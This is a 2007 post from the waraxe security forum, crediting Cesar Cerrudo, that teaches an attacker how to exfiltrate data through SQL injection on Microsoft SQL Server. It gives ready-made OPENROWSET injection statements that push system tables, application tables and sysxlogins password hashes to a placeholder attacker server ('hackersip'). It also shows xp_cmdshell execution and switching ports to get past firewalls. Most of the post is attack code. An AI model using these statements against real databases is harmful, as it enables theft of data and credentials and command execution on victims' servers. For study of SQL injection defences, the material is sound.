Waraxe IT Security Portal
Login or Register
June 16, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 49
Members: 0
Total: 49
Full disclosure
SEC Consult SA-20250604-0 :: Local Privilege Escalation and Default Credentials in INDAMED - MEDICAL OFFICE (Medical practice management) Demo version
Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Defense in depth -- the Microsoft way (part 89): user grouppolicies don't deserve tamper protection
CVE-2025-45542: Time-Based Blind SQL Injection in CloudClassroom PHP Project v1.0
ERPNext v15.53.1 Stored XSS in bio Field Allows Arbitrary Script Execution in Profile Page
ERPNext v15.53.1 Stored XSS in user_image Field Allows Script Execution via Injected Image Path
Local information disclosure in apport and systemd-coredump
Stored XSS via File Upload - adaptcmsv3.0.3
IDOR "Change Password" Functionality - adaptcmsv3.0.3
Stored XSS "Send Message" Functionality - adaptcmsv3.0.3
Authenticated File Upload to RCE - adaptcmsv3.0.3
Stored XSS in "Description" Functionality - cubecartv6.5.9
Multiple Vulnerabilities in SAP GuiXT Scripting
CVE-2024-47081: Netrc credential leak in PSF requests library
Exploit CVE-2019-9978: Remote Code Execution in Social Warfare WordPress Plugin (<= 3.5.2)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Retrieving Results From Sql Injection
Post new topicReply to topic View previous topic :: View next topic
Retrieving Results From Sql Injection
PostPosted: Sun Feb 11, 2007 4:44 pm Reply with quote
Dinosaurio
Regular user
Regular user
Joined: Aug 11, 2006
Posts: 10




Hi,


The functions OPENROWSET and OPENDATASOURCE are most commonly used to pull data into SQL Server to be manipulated. They can however also be used to push data to a remote SQL Server.

OPENROWSET can be used to not only execute SELECT statements, but also to execute UPDATE, INSERT, and DELETE statements on external data sources. Performing data manipulation on remote data sources is less common and only works if the OLEDB provider supports this functionality. The SQLOLEDB provider support all these statements.

Below is an example of pushing data to an external data source:

insert into
OPENROWSET('SQLoledb',
'server=servername;uid=sa;pwd=h8ck3r',
'select * from table1')
select * from table2

In the example above, all rows in table2 on the local SQL Server will be appended to table1 in the remote data source. In order for the statement to execute properly the two tables must have the same structure.

As we learned in the previous section, remote datasources can be redirected to any server of the attacker?s choice. An attacker could change the statement above to connect to a remote datasource such as a copy of Microsoft SQL Server running on the attacker?s machine.

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from table2

In order to insert into table1 properly, the attacker must create table1 with the same columns and data types as table2. This information can be determined by performing this attack against system tables first.

This works because the structure of system tables are well-known. An attacker would start by creating a table with similar column names and data types as the system tables sysdatabases, sysobjects and syscolumns. Then to retrieve the necessary information, the following statements would be executed:

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysdatabases')
select * from master.dbo.sysdatabases

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysobjects')
select * from user_database.dbo.sysobjects

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _syscolumns')
select * from user_database.dbo.syscolumns

WWW.APPSECINC.COM
After recreating the tables in the database, loading the remaining data from the SQL Server is trivial.

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from database..table1

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table2')
select * from database..table2

Using this method, an attacker can retrieve the contents of a table even if the application is designed to conceal error messages or invalid query results.

Given the appropriate privileges, the attacker could load the list of logins and password hashes as well:

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysxlogins')
select * from database.dbo.sysxlogins

Acquiring the password hashes would allow the attacks to perform a brute-force on the passwords.

The attacker can also execute commands on the attacked server and get the results:

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from temp_table')
exec master.dbo.xp_cmdshell 'dir'

If the firewall is configured to block all outbound SQL Server connections, the attacker can use one of several techniques to circumvent the firewall. The attacker could set the address to push data on using port 80 therefore appearing to be an HTTP connection. Below is an example of this technique.

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from table1')
select * from table1

If outbounds connections over port 80 are blocked at the firewall, the attacker could try differents port numbers until an unblocked one was found.


Good Luck

Dino


Font:Cesar Cerrudo (sqlsec@yahoo.com)
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
Retrieving Results From Sql Injection
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.025 Seconds